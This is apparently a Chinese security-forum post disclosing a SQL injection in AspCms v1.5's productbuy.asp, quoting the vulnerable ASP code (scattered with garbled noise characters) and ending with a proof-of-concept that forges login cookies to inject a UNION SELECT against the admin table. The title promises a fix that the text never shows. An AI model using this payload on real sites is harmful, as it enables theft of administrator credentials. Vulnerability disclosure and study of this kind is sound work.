AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

  ~  D6 s/ Z( Z4 k! Z: e<%
# m1 m' \" f& Z# \' V: I* q
if action = "buy" then
3 r' w* {% T' U) b! _! b& p
* ?2 B! V" s7 R4 F* N. i        addOrder()
. ?0 V  N* q8 L7 \- Q  p
4 C& }" r* _5 C- K& ]( `else
2 d$ m" k8 Y+ {; R, G
        echoContent()

end if
) V) v. \8 s# \1 U7 o" q* {3 X


; T6 O9 c4 p$ m9 h……略过


/ \: r2 Q& F1 {
5 n3 [7 s) _: p$ h- r! JSub echoContent()

        dim id

( N' P3 A9 J2 m+ v- v. u3 Q8 f        id=getForm("id","get")
/ t8 {6 a! o, w$ h
: _8 b. o5 l7 ]/ i1 j1 w, @        

9 @8 \  f0 U; ?! _% G        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
# P0 L4 \2 o9 o
        
8 u) ]" e) {/ M- T: h. K; _9 }" a
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
! c; i4 G0 y  [8 a
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
8 d3 B4 K  w# G, o9 n" @+ x' g
2 o7 K" b- A2 j        Dim templatePath,tempStr

& O4 i0 w& I% a: T! k: J1 f3 i& w        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
; a) e- G0 d3 ]
4 V1 L. ?# w9 m" ?

( a8 V2 i& T* t- r9 C        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

8 E# b* ]9 C# }        selectproduct=rsObj(0)

1 U; n6 B+ x# E. y* V4 t6 ~/ C        
* G  Y: l  c8 i
8 I, q' e' m: R, T5 p        Dim linkman,gender,phone,mobile,email,qq,address,postcode
/ f2 t' v& ~0 u% G& W
* o2 z$ _3 S/ d8 m- L        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

, O; R" _+ G* b5 {* M        if rCookie("loginstatus")=1 then  

                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")
- e8 l% r8 _4 D' R- Q/ N
3 u- I# v" Z8 z                gender=rsObj("gender")

                phone=rsObj("phone")
' m) q% F# T$ D. k7 U
                mobile=rsObj("mobile")
& _8 |% G  ?! H% h2 O+ V
# B( z$ K- D9 m  r3 M& W8 l                email=rsObj("email")
) j# [/ c- r# l2 A/ ^2 t6 P4 v
/ A: z( F( ?$ K& ?& Z/ M                qq=rsObj("qq")

1 Z+ s; R" f; l                address=rsObj("address")
" S' ~% s* p) B8 {
2 y( W! j7 F; N+ y                postcode=rsObj("postcode")

        else

                gender=1
5 U" x+ h  ]* f$ r4 J6 ?# Y
' D+ Q( k1 B. w" q        end if

        rsObj.close()
+ C( A+ B  v$ G" S
               

        with templateObj
. ]" _. {5 ?6 z7 @( q: b, P
                .content=loadFile(templatePath)        

- g' n$ R0 L8 ?: G# f! Y                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
8 {6 ], X2 P' h# m1 v
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

1 P1 ?4 L% y9 `/ c9 `% l- F; b7 |                .content=replaceStr(.content,"[aspcms:gender]",gender)               
1 N) i/ J, G0 `8 b
: y0 Q. r5 A: I8 B8 l                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        
' y- F7 O6 g1 i3 x. b' c. X
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
, X3 K6 l& B5 \5 V  [3 i
                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

! z/ k, F7 X2 e4 h                .parseCommon()                 

9 B& i) G- O0 m/ V% D* i; S& S2 R0 S% E                echo .content

6 ?: R) V8 U; U, J+ y1 z; r        end with

2 j& a, J& P6 {9 n' H1 z        set templateobj =nothing : terminateAllObjects

) {& M/ ^) u+ M( w1 s7 K  eEnd Sub
漏洞很明显，没啥好说的
poc：

* q8 B. W2 n6 `! Q# xjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
3 d' b4 }$ f" c& H0 w( T- |. |